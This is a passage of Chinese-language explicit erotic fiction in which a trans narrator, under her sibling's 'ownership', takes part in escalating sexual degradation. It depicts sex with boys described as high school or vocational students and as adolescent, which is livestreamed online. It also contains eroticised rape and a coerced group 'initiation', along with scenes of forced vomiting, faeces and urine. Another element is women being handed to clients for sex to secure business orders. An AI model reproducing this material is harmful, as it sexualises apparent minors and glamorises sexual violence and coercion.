嘉嘉跟叔叔兩個發著楞看我,這是我讓哥哥變成人妖姊姊的贖罪。「變成母狗,姊姊會忍不住欺負你喔!」「老公,怎麼辦,可以收留這隻流浪的小狗嗎?」「你喜歡的話就收下來吧。」「呵呵,好阿…母狗妹妹過來~」被叔叔用重手法給強制轉換性向的嘉嘉,雖然成為淫蕩的賤妖,但內心深處卻已經崩解,現在出現了一個可以讓她發洩的對象,她的腦海裡浮出了一個美妙的藍圖。「老公,幹我,在小母狗面前幹人家。」嘉嘉搖動著屁股讓叔叔幹她,「喔…老公被小母狗看著變得這麼硬,阿…阿…小母狗你聽著…」姊姊邊被幹邊說著淫蕩到不行的自白。「阿…姊姊現在沒有男人的雞巴就會活不下去。…阿…老公你的雞巴好硬…姊姊被老公調教才知道…喔…才知道當女人的快樂…嗯…老公好棒…不行…人家說不下去…阿…阿…」嘉嘉被叔叔用狗爬式幹到了花心,正愉快得享受那前列腺被狠狠刺激的快感。我的手不自覺得撫摸著下陰「阿…小母狗,主人…主人命令你,手只能摸自己的胸部…阿…還不快做…」我聽著嘉嘉的話乖乖在她眼前玩弄著自己的胸部,但下體的搔癢卻只能靠著緊夾大腿來獲得一絲的快慰。「啊…啊…幹死我這賤人妖…啊啊哦…」姊姊噴射了…她的淫液噴灑出來,有一大半噴灑在床底下跪著玩弄自己的小奶的母狗臉上跟前胸。「呼…呼…阿哼…小母狗不可以擦掉它…那個是姊姊主人的食物先保管在小母狗身上…」蔡叔叔仍舊重擊著姊姊的臀部,她上臂已經無力,臉埋在手臂之中發出悶悶的淫聲。但我只能默默的雙手交叉把玩自己硬得發痛的奶頭,聞著身上精液的氣味,全身興奮的看著。
終於,叔叔將精液送進姊姊的腸道裡。我在嘉嘉主人的命令下,把她肛門內的精液吸出來,接著嘉嘉給我一個浪漫的深吻把我嘴巴裡的精液、給吸得乾乾淨淨,她的身體貼在我的身上把原本滴在我身上的體液用他的肌膚化開,完完全全的塗抹著我肌膚的表層。我居然被主人這樣淫蕩的碰觸給弄到激發了高潮。我們兩人的身子之間,濕漉漉的一片,但嘉嘉主人的身體持續抹著,直到身上分不清楚誰是誰的液體了。「老公~人家帶母狗妹妹回家住喔…」「要回去嗎?也好,你們姊妹有很多話要說吧?」「那…母狗,穿上衣服吧。」我點點頭起身,想要進去浴室把身上的污穢給擦乾淨,但嘉嘉拉住了我,輕輕的拍拍我的臉「穿上衣服!馬上!」我看看姊姊,他的表情很認真,看來我是不能把這些液體給擦掉了,我乖順的拾起內衣,但姊姊又輕輕的把我手上的內衣拍掉…「衣服!不是內衣!」於是我套上了外衣,那是一件淺色的貼身T恤,還有一件黑色紡紗的布裙。只要輕輕走動,上半身便起伏搖晃,只要光線稍強,我的下半身就若隱若現。而我那敏感的軀體散發著高溫,胸前的精液味就是我這淫蕩小母狗的香水。我的嘉嘉主人就這樣帶著我走路離開了蔡叔叔家。
沿路上只要有路人經過保證盯著我直看,還好沿路都沒有經過鬧區,不然一定會變成隔天的蘋果頭版新聞。我跟嘉嘉主人來到我熟悉的公園,主人指著其中一棟老舊的公寓跟我說「頂樓就是姊姊的住處摟,不過姊姊想要先帶母狗妹妹去逛逛公園。」嘉嘉主人拉著我的手,我們兩個挽著手就像是感情要好的姊妹,但嘉嘉東張西望的不知道在尋找什麼,這時看到遠遠地兩個人影走過來,姊姊立刻開心的迎上去。「哎喲,大美女,你從香港回來了喔!!」那個聲音居然是昨天晚上硬要撬開我廁所門的聲音…「對壓,人家還帶了伴手禮回來看你們兩個小弟弟呢。」「伴手禮?幹…大仔,你看那個女的」男人應該是鄰近高職的學生,應該是小弟的那位發現了我衣服底下的異樣,「幹,這麼騷,她是你朋友嗎?」「不是人家的朋友啦,是人家的妹妹,還不打招呼?」「阿…你們好。」我羞澀的跟他們點了頭。「幹,是昨天那個女的啦。「你們認識喔?」嘉嘉主人發出了疑問「昨天,他們硬要開我廁所的門,只有聽到我的聲音。」「認識就好,你們今天要嗎?」「幹,都憋那麼久了,怎麼不要!」「不過今天人家被老公餵飽了說…幹我妹妹好嗎?」「有什麼不好,換換新口味阿。」
他們三個人促擁著我,把我帶到公園存放雜物、掃具的雜物間。兩個男人邊走邊摳弄著我的乳房跟下身「嘉姐,她跟你一樣喔?」「對壓,我們姊妹本來都是男的呢…」姊姊甜膩的嗓音「幹…真變態…」兩名男孩嫺熟的用迴紋針打開了雜物間的掛鎖,雜物間頗大,中間大概有個兩張榻榻米大小的空間。被叫大仔的男孩把我拉了進去,那個小弟把門關上又上了鎖。「這樣管理員來巡邏就不會發現了。」大仔解釋了小弟的行徑。門外傳來了姊姊的聲音「來這邊,嘉姐幫你吃...」我看了看眼前的大仔,雖然看起來流里流氣,但還是個稚嫩的俊俏男孩。「你叫姊姊叫母狗就好了,你們昨天想要怎麼樣欺負小母狗,今天就可以來試看看了。」我裝著楚楚可憐的樣子看著眼前的大男孩。「母狗,我要幹你!狠狠操你的b!」男孩果然是衝動的,但是他邊回答著我卻邊操作著手機。他拿著那時最新出的Iphone3GS,將攝象頭對準我,把它架設在高處「我要把操你的畫面網路直播給人欣賞。」淫蕩的我怎麼會害羞呢?「嘉嘉姊姊也被你上傳嗎?」都上傳幾十部了超多人訂閱的呢。真難想像我有個這麼淫蕩的姊姊。
小屋裡,路燈剛好就照在我們交合的空地上,一想到現在有人正在欣賞著我跟高中小男生的交合,我就淫蕩得無法自拔。我只是稍微舔弄了一下他充滿騷味的雞巴,他就迫不急待的將我翻過身,把她那青春期的雞巴給探入我的身體內。窗外的光線投進來,我想我原本就白皙的臉龐在影像上一定就更白皙了,忍不住輕輕用嘴唇在含了含男孩的耳朵,他嗚咽了一聲微微偏過頭去,半閉著眼睛,好可愛的表情阿。被我刺激得發出哀鳴似乎傷了他幼小的心靈。他的雙手緊緊揉捏著我的椒乳下半身狠命的擺動,「阿…姊姊…母狗姊姊會被幹壞…阿…」「好厲害…嗯…弟弟慢點…我受不了…阿…慢點…阿…」我敏感的身體被一個高職生弄著,操著,還在網路上任人觀看,我不自主的把我腹部上已經噴發一次的精液送到我嘴裡「阿…弟弟插死我…母狗是你的人…母狗…母狗請弟弟幹死我…」「嗚…母狗…我要射在你嘴裡…」他拔起了陰莖還沒堵進我的小嘴,就噴發了出來。「哎喲…」來不及閉上眼睛的我,右眼被狠狠的糊上一大沱精液,我用手搓揉著眼睛,「姊姊,對不起,沒事吧…」「沒事…男人精液噴在哪裡,小母狗都很喜歡…」男孩擦了擦身體,關掉了直播,打電話叫小弟來開門。「今天好快呢,小母狗有爽到嗎?」「母狗很爽…」我低聲的回應前來迎接我的嘉嘉主人。嘉嘉的頭髮凌亂,上身的襯衫上點點的水漬,還不斷用衛生紙擦著嘴角,不難想像她剛剛在外面做了些什麼。「記得等一下把影片傳給姊姊喔!」嘉嘉主人交代了這句話,就勾著我的手離開了公園。
嘉嘉姊姊的是兩房一廳的格局,一個房間看得出來是姊姊的臥室,非常的女孩子氣息,但是另一個房間卻讓我匪夷所思。門是要輸入密碼才打得開得金屬門,方形的房間窗戶被塗黑封死,地上鋪著防水海綿墊,最內裡的角落有一個水龍頭。四面清水模牆面上靠近牆角的地方有著數排等距排列的圓孔環繞著整個房間,並且其中一排鑲嵌著一根又一根的橡膠陽具。,連房間正中央也有一根。每面牆上的正中央差不多到我胸下肚臍之上的地方都裝上了攝影機能夠從「妹妹,去試看看高度怎麼樣?」我不懂嘉嘉主人的意思,她於是自己示範了一次給我,她趴著背對著一根淫具對準了菊門就這樣插了進去。看懂了主人的意思,我有樣學樣的插了一下,「高度差不多,姊姊主人。」「嗯嗯,這是姊姊設計的自慰室兼調教室,平常都是姊姊跟老公在用的,小母狗喜歡嗎?」「小母狗喜歡,姊姊主人的設計好厲害。」那我們先去吃飯,等一下姊姊再教你怎麼用。晚餐只是一大鍋的玉米濃湯裡再加上米飯跟切成小塊的青花椰菜所熬出來的粥。,姊姊邊煮還邊碎唸著不知道這樣夠不夠,我想幫忙她也不讓我插手,只是邊跟我說著她這一年的過去。
「被老公幹完之後,我真的身心都變成了女人,想要老公的疼惜。爸爸三番兩次的打電話來,要我回去上班,但是人家不想穿男裝出門阿,人家要是穿女裝去上班爸爸也只會把我趕出去,所以我心一橫就把手機給丟了。整天就躲在老公的房間裡,打扮著,看著鏡子裡美麗的自己。我不想跟老公的兒子碰面,但是一直躲起來也不是辦法,老公跟我的想法一樣,覺得跟他兒子住一起可能不是好方法,他就花了筆錢把這裡買下來給我住。本來還想說兩房一廳給我住太浪費了,但是老公說,他想要用一個大房間,所以我就在裝潢的時候請師父把房間弄平。本來只是只是一個空空的房間呢。」「那怎麼會變成現在這樣呢?」我忍不住問到。「是老公的意思,他看到那時動完手術的我不能手淫,每次都在房間裡抓著假陽具猛操自己的菊穴,就說不然在牆壁上裝幾隻好了。我想想也對,這樣也對,他還說買這房子不知道是不是會害了你。」「害你?」「老公辦公室裡面的人那次在這裡把我欺負得好慘喔…」我這時候才知道,叔叔的公司是製造情趣用品的工廠,而坐辦公室裡的5個”女人”包括姊姊都是叔叔一手製造的人妖女孩。
「老公的前妻就是因為受不了老公這樣的變態行為才跟他離婚的。」嘉嘉平淡的說著。「老公很有門路,為了不要每次都讓他得手的孩子被趕出家門沒地方住,老公蓋了一個宿舍給他們住,還花錢幫他們變性。」「我差點也變成跟他們一樣了…」「嗯嗯,不過老公卻稱讚你很有想法呢。」姊姊說的那些孩子們最大的也有30幾歲了,最小的也大我一兩歲,除了姊姊外似乎都住在宿舍裡。「其實老公會買下這房子是因為你,小另…」「我?」「我因為開始服用女性荷爾蒙,所以那時候進行隆乳手術的時候順便進行了假體值入的手術,手術結束後我哭得很傷心,因為我在也不能憑著自己的意志勃起了,也就是說,我被醃了。老公為了逗我開心跟我說:嘉嘉,我不讓你去住宿舍買了一棟房子給你,是因為我害你妹妹過著這麼辛苦的生活,我很過意不去,等到哪一天,你妹妹願意回來了,我希望她能夠跟你在這裡過著不被人打擾的生活。」姊姊陳述了蔡叔叔的話,讓我低聲的啜泣。姊姊繼續說下去「不過因為這間房子,姊姊可是被其他四位姊妹討厭了好久呢。」「老公為了嘉嘉,他把我們都關在這個房間裡,門上的數位鎖就是那時候裝的」「老公說:今天是嘉嘉的陽物解禁的日子,我宣佈嘉嘉今天開始就是辦公室最小的妹妹,既然他接受了那麼貴重的禮物,那我宣佈,在達到同等的價值以前,不管我收了多少新人,她都是最小的妹妹。你們今天要把最小妹妹的規矩教給她。我知道我讓他住這裡讓你們眼紅,但是這是我把他妹妹給弄丟的補償,你們有什麼不滿今天就讓你們發洩,明天開始,你們要給我好好的相處。」姊姊驚恐的看著眼前四個人妖向她逼近,而唯一的逃生口被閃著被叔叔從外面鎖上的紅燈。她被人抓住了手腳攤平在地上,被強制弄起來的陰莖就這樣直亭亭的聳立著。最大的大姐叫Lisa她率先用於菊門吞噬了嘉嘉那人造陽物的初次。「阿...嘉嘉這個最新型號的就是不一樣…老公偏心啦…人家下次也要換這種的。…」
「好了好了…變溫的了,我們邊吃邊說吧。」「小另,小母狗,姊姊命令你要把這一鍋吃完。嗯…不…用舌頭…對…嘴巴浸下去也可以,多吃一些。」嘉嘉被Lisa的豐臀夾著,手腳被壓住,還有一個另一個姊妹坐在她臉上命令著嘉嘉要好好舔著她的後門,「喔…大陽具嘉嘉…喔…晚上不能跟我們一起睡也太可惜了。姊姊想要這跟陽具的時候怎麼辦?」受不了刺激的嘉嘉噴發了,把精液狠狠的噴入Lisa的體內。「阿…怎麼射了…還想要再享受一點的…」這時,嘉嘉還在享受著射精的餘韻,卻冷不防的又被另一個菊穴給吞沒了。敏感的龜頭發出疼痛的警告,她的第二個姊姊小彤不顧嘉嘉劇烈的扭動,硬是自顧自的擺起臀來。每一個姊妹都像這樣強制的將嘉嘉體內殘餘的體液給排出。「謝謝姊姊們的協助,讓小妖精妹妹嘉嘉能享用姊姊們的淫穴」Lisa接著命令嘉嘉「嘴巴打開,姊姊要進行第二次的洗禮!」嘉嘉的手被用內褲綁成的繩子反到背後,「用你的嘴巴記得Lisa姊姊的南傍国形狀…」嘉嘉的頭髮被抓住,Lisa像是幹著自慰器一般整根沒入嘉嘉的喉嚨又拔出來…又沒入…又拔出來,反覆幾次之後,每次的拔出都讓嘉嘉像噴泉一般,將胃袋中尚未消化完糜狀的食物給嘔出。但Lisa持續的搗弄,嘉嘉那時還是B 的人造乳房上,都是自己嘴裡灑出的嘔吐物,粉嫩的乳房上還掛著綠色的菜渣,淚腺因為難受而不停製造大如珍珠的淚液。嘉嘉被四個人的陰莖搗弄著嘴巴,胃裡嘔不出東西了,就把嘉嘉嘔出來積在地上的餿水掃起來放入杯子裡混合著牛奶要她喝下去,再繼續姦淫她的小嘴。四個浪蕩的人妖,Lisa、小彤、雙雙、妠兒,不停歇的穿刺著嘉嘉的喉嚨。直到嘉嘉最後一次嘔吐完,像斷電的人偶般軟倒在一旁才停歇。但,這不代表著嘉嘉的”規矩”學完了。昏過去又轉醒的她被眼罩給蒙住了雙眼,她感到有人正趴在她的身上,姦淫著她的菊門,被不是叔叔的陰莖給幹著嘉嘉有點不開心,她覺得那是老公獨享的,不可以給其他人用。「不要,嘉嘉的菊穴是老公的,不要碰!!」但她說完這句話,就被趴在她身上的人打了一巴掌「你是最小的妹妹,你現在被教的是規矩!你知道嗎。」又尖又細的聲音,讓嘉嘉知道現在正在她身上幹著的,是最小的姊姊,才20歲的妠兒。嘉嘉被妠兒推倒在偶吐物的水攤中聞著刺鼻的酸味不停的姦淫著。「妹妹,我們都是老公的女人,都要為公司出一份力,你知道公司有多少筆訂單是我們姊妹的公關換來的嗎?」「那你現在該知道,為什麼大家會為了老公買這個房子給你而不開心了吧。」Lisa一改剛剛潑辣蠻橫的語氣,溫柔的對嘉嘉說。「我們是公司的資產,老公要你服侍誰你就去服侍誰,這樣你才可以擁有這房子,知道了嗎?」嘉嘉點點頭,「妹妹謝謝姊姊的指導。妹妹不配獨享這麼高級的房子,請姊姊們處罰妹妹。」姊姊在那次之後才真正的融入了他們辦公室之中。
「對不起喔~小母狗,姊姊晚餐都吃這些東西,小母狗習慣嗎?」「嘖…嘖…母狗習慣…能吃主人賞賜的食物,小母狗很開心。」我奮力的將姊姊舀到我盤子裡的濃湯給吞到肚子裡,但是姊姊煮得量實在是太多了,食量從來就不大的我已經吞不下去了。「好吧…只剩下1/3我來處理。」不斷跟我述說著她這一年的過去,姊姊什麼都沒有吃,她咕嘟咕嘟的將剩下的粥給喝完。
「來吧,姊姊教你怎麼使用自慰室。」我走進了自慰室,「平常姊姊都一個人在這裡,有小另來陪姊姊真是太好了。」嘉嘉把我們兩人的衣物都脫去,用繩子將我的手反到背後綁起,用天花板上的溝環調整著高度,我變成只能用高跪姿挺著身體。姐姐隨意的拔起牆上的一根按摩棒,開啟了振動就塞入我的小菊穴中。「小母狗,你知道嗎,從那天之後,姊姊的喉嚨就不能接受太硬的食物,而且要是不將它嘔出來再吞回去,姊姊的胃也會忍受不住自己反嘔出來。現在,姊姊要讓小母狗也知道姊姊的辛苦。」嘉嘉主人說完就將他充到最挺的陰莖貫穿小母狗的喉嚨。用Jamey那黑雞巴訓練出來的深喉功夫也抵擋不住像嘉嘉那般瘋狂的碰撞,更何況我的肚子裡都是嘉嘉主人的愛心煮出來的濃粥。我的作嘔像噴泉一般的噴了出來,姊姊也不閃躲,我的嘔吐物就沾滿了姊姊的下身。姊姊就用著那滿是我穢物的陰莖再度插入了我仍在嗆咳的喉嚨中。來來回回嘔吐了好幾次,我臉上的妝被嘔吐物跟眼淚,還有鼻腔中不知道是鼻涕還是唾液的分泌物給沖刷得七零八落。看著牆上掛著的電視,正不斷地跳動著畫面,讓我欣賞我滿身穢物的糗樣。嘉嘉突然一陣作嘔,他將手給掏入自己的嘴中,「嘔...嘔...」當著我的頭,一陣溫熱的液體流遍了我的臉,但很快的第二波又來到,直到口中嘔出的只是透明稠狀的唾液,嘉嘉才灘坐下來,嘉嘉的下身顫抖...她居然射精了!!!
「公園裡的兩個年輕人」嘉嘉喘著氣跟我提起那兩人。「那天我跟老公去參加飯局,被逼著吃了幾口乾飯幾塊肉,雖然咀嚼了好久才嚥下去,但是在計程車上就頻頻作嘔,我實在是撐不到到爬上樓,衝進廁所裡,連門都來不及關就嘔在馬桶裡。我趴在馬桶邊喘著氣,思考著,要不要趴進去從那充滿著尿液跟屎塊的馬桶中把我的嘔吐物吞回去,那兩個孩子就走了進來,強行抓著我的手,另外一個就開始扒我的衣服。我喊著不要,但是,我吐得手腳都無力了,根本不能反抗。我就被阿明,就是上你的那個給脫光了衣服。我被他壓在地板上,想說他看到了我的下身會知難而退,沒想到他居然叫阿華,也就是那個一直罵幹的那個,拿著手機把他幹人妖的畫面錄下來,他說要上傳給人看。我就在廁所被阿明給強姦了。」「姐姐一開始還不情不願,但是當姐姐看到自己在後半段發浪嬌喘的樣子,姐姐就知道,只要有陰莖,姐姐什麼都可以不要了。」「人家把這件事情,還有姐姐的心情跟老公說,他還微笑的說我果然是跟你同血緣的蕩婦...」「姊姊…」我主動伸著舌頭向主人索吻。在燠熱的房間裡,我被束縛著,嘔吐出來的穢物蘊騰著酸氣,但我卻是毫不在乎的吻著嘉嘉。她把我臉上,身上一塊塊的殘渣給吃回肚子裡,然後趴在地上將那些濃稠的膏縻給吸起,重新吐回我嘴裡。我們姊妹的小嘴互相交換著固狀的、液狀的還有膏狀的物體。重新將所有的殘骸吞回肚子裡,耗費了我們姊妹兩好長一段時間,我的腳跟手也被綁得發紅疼痛了。姊姊讓我從吊環中解脫,我倒在地上讓血液能夠循環。「小母狗的菊穴有點痛…主人可以把按摩棒給拔出來嗎?」按摩棒停留的時間太久,潤滑都被腸壁給吸收了。「不行…這樣姊姊會忍不住用大陰莖幹小母狗…」「求求主人…小母狗希望被主人的大陰莖幹…」「不行...我們這樣是亂倫阿...妹妹!!」嘉嘉一臉的壞笑!
直到隔天早上,我體內的按摩棒才被姊姊拔出。我被呈大字型的固定在地上,忍受著乾涸的腸子裡那惡魔般的振動,整個晚上都不得入睡。身上散發著難聞的氣味,而且全身濕答答的都是汗,嘉嘉姊在離去前,讓我灌了一大瓶水,我免去了脫水的危機,但到了凌晨膀胱也漲得發痛。嘉嘉睡眼惺忪的走進來「母狗乖不乖阿?」「母狗乖...」「母狗很乖!!姊姊疼你。」嘉嘉姊手晃了晃那按摩棒「辛苦小母狗了喔!!」「小母狗要先吃早餐還是要先洗澡?」「母狗想要洗澡...」「好,那姊姊去準備一下喔...」「那個...主人...小母狗可以上廁所嗎?」「不行!要先乖乖等主人回來!」「是的....」姊姊去了好久,才看到嘉嘉姊蹣跚的重新走進房間。「都是小母狗說要先洗澡,才讓姊姊這麼辛苦」嘉嘉站在我的頭頂上,背對著我屁股半蹲,「要來摟~」她一說完,拉去了原本塞在她菊穴中的肛塞...「阿..........」大量大量的穢水隨著他的喊聲傾瀉在我的臉上。「阿...」突如其來的舉動讓我發出了驚呼,卻也吞了好幾口的糞水,我不斷的乾嘔,噁心的味道在我嘴巴裡揮之不去,而那個始作俑者正跪坐在我的頭頂上,失神的含著手指,另一手拿著按摩棒不斷地抽插,沒多久,一股殘餘的廢水以及黏膩的黏塊,淋在我臉上,新鮮的臭味在我臉上發酵。
「姊姊...姊姊好愛小另...」嘉嘉轉過身,把頭靠在我臉上,用她的臉頰,她的鼻尖把我臉上那黏稠的塊狀物撥入我的嘴裡,用舌頭當攪拌棒攪打著那苦臭得黏塊,又把它深入我的喉頭逼我嚥下。「小另知道,姊姊每次在這房間裡高潮的時候是在想著誰嗎?是你。但是當姊姊被老公幹著,被公司的姊妹們玩弄著,被簽下了一張幾十萬的訂單就可以抓著姊姊的肥奶從背後幹著的某某公司老闆、採購在床上肆意糟蹋的時候...姊姊就好恨你。」「嗚...嘔...」姊姊接過了我因為噁心而嘔出的穢物歡快的暢飲下肚。「姊姊看著你,就好想要玩弄你,虐待你,你知道嗎?」「可是姊姊卻又不能沒有你,沒有你...」「哎呀!!」姊姊用力的咬著我的奶頭,「好恨你的身體...好愛你的身體...」「你不是小母狗,你是小另,是我的小另!!」姊姊咬牙切齒的說著。最後他的頭靠著我的小弟弟,而他的陰莖也就靠在我的嘴邊,他用嘴巴吸吮我那小巧的龜頭,手指深入肛門刺激著我的前列腺「姊姊...別這樣...姊姊...我會...」話還沒說完,我那快要爆炸的膀胱一股腦的將我積存了整晚的尿液排進了姊姊的嘴裡。我羞愧得哭了「姊姊對不起,姊姊對不起....」也不曉得是為了她說的話還是為了將尿液撒入姊姊的嘴裡。「我們當個好姊妹好嗎?」我跟姊姊頭靠著頭,姊姊抱著我滿是穢物的發臭軀體哀哀的說著。
姊姊躺了一會,站起身,打開水龍頭用清水將我身上的穢物都給清潔乾淨,並把那些穢物都給沖刷到水龍頭下方一個下凹的水泥集水槽「那下面的排水管直通化糞池,所以洗完之後要蓋緊,不然會很臭。」姊姊解開我的束縛把我拉起身,我甩了甩身上的水珠。我被姊姊帶到了她房間,她輕柔的吻我,彷彿他仍舊是哥哥的時候那般,吻遍我的全身,然後仔細的為我潤滑了腸道,趴在我身上用他那偽物幹著我,輕輕柔柔的加快他的力道,加強著對我下陰的刺激。我在歡快中飛了天,美妙的高潮頂著我,而接著我的則是姊姊那輕柔的吻。完事後,她細心的嚥下我身上的,體內的任何一點體液。然後像照顧小女孩一樣,幫我穿上內褲要我躺在她的床上蓋好被子。「姊姊...」我叫住要離開房間的她,想起身抱她卻癱軟在床邊。「姊姊要去上班了,怎麼啦?」姊姊把我扶起,我們肩並肩的坐在床沿。「姊姊,我們是好姊妹吧?」「當然是了,傻孩子」姊姊拍拍我靠在他肩上的頭。「姊姊,你答應我好嗎?」「妹妹要求不多,在我回去台中以前,妹妹求你每天都像昨天這樣的對待我。」「這樣對你太殘忍了...姊姊是無法控制...妹...」我吻了姊姊,不讓她繼續說話。「答應我,不然,永遠都有罪惡感在妹妹的心中。」「.......我知道了。」
小蔡婚禮那天,我穿了一套鵝黃色的小禮服參加了婚宴。低胸又挖背的剪裁讓我的身材變成眾人的焦點,前胸上了同色系的數朵珠花讓我在展露性感的同時又不失高雅的氣質。我跟姊姊還有她美麗的同事們協助當婚宴的招待。姊姊私下就告訴我,她的女同事們都是被叔叔一手改造的美豔人妖,大多都是青少年時就被叔叔姦淫得不想回家,在叔叔協助他們變性之後還讓他們在公司工作。叔叔的眼光真的很厲害,他收集的女人環肥燕瘦,各有各的風情,很快的我就跟她們親暱得以姊妹相稱,而我們這些美麗的招待也成了目光駐足的焦點。沒有想過當年在公園遇見其貌不揚還穿著便宜運動服的叔叔居然是一間工廠的老闆,一想到我差點就成為他蒐集的變性女孩的一員就不曉得該哭還是該笑。
開席後除了當司儀的Lisa姐之外,我們這些接待坐在門口旁的預備桌聊天。「欸…小另,你臉紅通通的好可愛捏…姊姊想要咬一口。只大我兩歲卻已經在叔叔公司當會計的妠兒坐在我身邊問東問西「冷氣很冷耶,妳怎麼一直冒汗?你的呼吸好急喔?」妠兒的問話讓我看向嘉嘉姊姊。「另,把腳打開給妠兒姊姊摸一下!」我羞澀的把腳打開讓妠兒的手在桌下摸向我的裙底。「哎呀,怎麼...怎麼在婚禮上還在用這東西啦!」「這要問嘉妹妹啦!小另現在是嘉嘉妹妹調教的小母狗喔~」「阿!雙雙你也知道喔?」「老公昨天跟我說得阿。」
在等待小蔡舉行婚禮的這個星期,我每天晚上都要化身成小母狗接受姊姊的調教。「小母狗,跟姊姊上街!」這是姊姊下班後要調教我的信號。姊姊最喜歡看我走在路上打扮火辣,卻舉步維艱的羞澀模樣。我每天都有不同的裝扮,但無論是什麼裝扮,衣服的底下,總有一根被我緊緊夾住的遙控按摩棒。不被允許穿上內褲的我,只要跨步的步伐大一些,那羞澀的東西就會從我的菊門中滑出來,而姊姊隨機操控的振動又總是讓我不自覺的不顧一切發出令人發軟的淫聲。「喜歡嗎?小母狗?」「小母狗很喜歡。」前兩天,我跟姊姊發浪得在一個陌生又黑暗的防火巷中含著姊姊的大雞巴,兩腳開開用按摩棒不斷地抽插自己的菊門。「阿...在外面好敏感...阿...」姊姊摀著嘴巴,卻仍從指縫中流出她淫悅的聲響。「小母狗...阿...對...阿...很乖....阿...等一下姊姊回去姊姊餵你吃飯...喔...」淫亂的姊姊不但讓我吸著他的陰莖,她自己體內的那個按摩棒也從她體內發出嗡嗡的馬達聲。「阿...要出來了...阿...」姊姊把她的淫液撒在我的臉上,她捧著我的臉看著精液從我的頭髮、鼻尖...緩緩的滑落。「乖母狗的嘴巴很厲害捏,不過母狗要是還不能用按摩棒把自己弄到高潮,姊姊就不要幫你把臉清乾淨喔!」聽到要滴著精液走回家,我更是賣力的玩弄自己的菊穴,但一路從家裡被插弄到現在的小菊門已經麻痺了,雖然興奮卻沒有辦法達到姊姊的要求「阿...阿...求求姊姊...求求姊姊主人...可以讓小母狗揉揉前面的小龜頭嗎?」「怎麼可以...姊姊不是說小母狗壞東西裡面的調味料等一下要回去幫姊姊的晚餐加料的嗎...」「求求姊姊...」「好吧...那姊姊來幫你好了...要謝謝姊姊喔!!」「嗯嗯...姊姊主人對小母狗妹妹最好了...謝謝主人。」「那小母狗躺下!」「躺下?」「還不照做?那起來好了,我們回家。」「是...是...小母狗躺下。」我仰天躺在陰暗又濕漉漉的防火小巷內,不時駛過的機車、汽車要是停駐在巷口用車頭燈一照一定會看到一個豔麗的女子正看著一個淫亂的人妖裙子撩開,光著屁股雙腳翹得老高躺在地上用按摩棒戳弄自己的菊穴。姊姊把高跟鞋給脫下,用她穿著絲襪的腳丫輕輕踩在我的小陰莖上,用他腳趾頭中間的絲襪薄膜來回的撫弄我已經敏感到不行的龜頭頂端。「阿...姊姊...好刺激...阿...好爽...阿...阿~~~」被姊姊這樣羞辱的對待,我一下子就把淫精統統給噴在姊姊的腳丫上。「阿...人家的腳都濕了啦...給人家清乾淨!」姊姊把沾滿我淫精的腳丫給鑽進我的嘴裡,讓我用舌頭把我自己的體液都給括乾淨,「嘖...嘖...」我津津有味的舔著,但姊姊卻很不滿意「誰要你舔了...越舔越濕了啦...討厭...」姊姊把腳縮回去用紙巾擦了擦,穿上高跟鞋,接著居然用鞋尖對準了我的菊穴鑽進去。「阿...痛...」姊姊用鞋尖將我菊門那根按摩棒推進我身體的體內,她的腳還不停的轉動,「乖母狗,這是處罰...母狗喜不喜歡。」「阿...阿...喜歡...喜歡...阿...」被姊姊這樣的作賤,原本麻痺的菊穴再這個更強烈的刺激中讓我得到了一陣令人暈眩的絕頂高潮。「好...好厲害...」我暈呼呼的躺在地上喘著氣
姊姊在桌上把這件事情輕描淡寫的說給同桌的這幾位姊姊們聽,我的臉更是紅到不行,「哇...嘉嘉你好壞喔...」「怎麼想得出來阿!!」「小另乾脆不要唸書了,跟我們一起上班啦,這樣我們可以一起玩喔!!」小彤、雙雙、妠兒七嘴八舌的出意見,乘著空檔跑下來偷吃東西的Lisa姐更是語出驚人「小另來不用工作啦,小母狗讓我們養在宿舍就好啦,在辦公室要是去引誘工廠那些外勞怎麼可以。」妠兒看我都不作聲,靠在我身上用手輕輕的推弄我菊門口的矽膠玩具「小另怎麼樣阿,姊姊們都有很多花招的喔~」「不行不行~姊姊你們這些壞人不可以誘惑她,等小另唸完大學再說!!」嘉嘉姊姊趕忙跳出來撲滅那些惡魔的誘惑。話是停住了,不過妠兒的手可沒有縮回去「阿...妠兒姊姊...不要再頂了...人家會受不了...」「受不了就出來阿...怎麼?要嘉嘉同意嗎?我幫你求情!」「不是...現在人家不是小母狗...喔...不用主人同意...喔...是...是...裙子會弄髒啦!!」「這樣阿...好啦好啦,姊姊想辦法幫你解決喔~」妠兒沒有放鬆對我的刺激,不過卻拿了一個玻璃杯套住我那已經不斷滴出分泌物的小陰莖。當我伏在桌子上忍住尖叫顫抖著將液體全排進杯子裡之後,妠兒姊姊拿起杯子給大家看,「阿...不是很多耶...看來不夠興奮喔?」「她是最近排太多啦,傻妠兒」...他們取笑著輪流傳遞著玻璃杯。「欸,妠兒我跟你說...」雙雙跟妠兒不曉得嚼了什麼舌根,又轉頭過去跟小彤姊姊說了些什麼,就只見他們三人拉了嘉嘉姊姊一起去廁所,過了快要半個小時才回來,留我一個人看著一整桌的菜還有厚厚一包的現金袋。姊姊他們回來的時候帶了一個7-11的咖啡杯給我,「你們放著整桌菜不吃跑去喝咖啡??」「垃圾桶撿的啦,忘記帶杯子去廁所了!」「垃圾桶?廁所?你們到底是去幹麼阿?」「你先看看杯子裡面」我打開了杯子的白色塑膠蓋「!!...你...你們...」我說不出話來,妠兒把杯子接過去把裡面的液體倒到一個新的杯子裡,滿滿的倒了一杯。「真的很像芭樂汁耶!」「怎麼辦,還有一些...」「倒到小另剛剛用的杯子裡!」剛盛裝我液體的玻璃杯現在被補到了半杯滿。這些蕩婦們,居然弄回來了那麼多的淫精...「忘記把你這小騷貨下面那一根拿去用害我們在廁所裡面弄好久!嘉嘉剛剛告訴我們,原來你是自願插著它來喝喜酒的阿」,妠兒跟小彤姊姊交換了座位,跟雙雙還有嘉嘉在利用著半滿的那杯體液混合果汁、葡萄酒弄特調,而小彤就摟著我繼續用言語來挑逗我。「好想要你這個淫蕩的妹妹來宿舍陪我們住喔,一定會很開心的。」「你知道我們用這些要幹麼嗎?」我搖搖頭除了喝之外他們倒在玻璃杯裡還有什麼意義嗎?「等一下新郎來敬酒的時候,這一杯純的就是你的!」「什麼!!不要啦...」「不准反抗喔~新郎的特調他們在準備了!!」「你們也玩太大了...會被發現啦...」「不會不會,你是我們姊妹裡面唯一吃掉小蔡蔡的,你不是還跟嘉嘉說小蔡的精液超美味的嗎,這杯就是姊姊們要你嚐嚐的小母狗特調摟。彤姊姊要你在你的姦夫面前吞下去,好不好阿」「好...」。
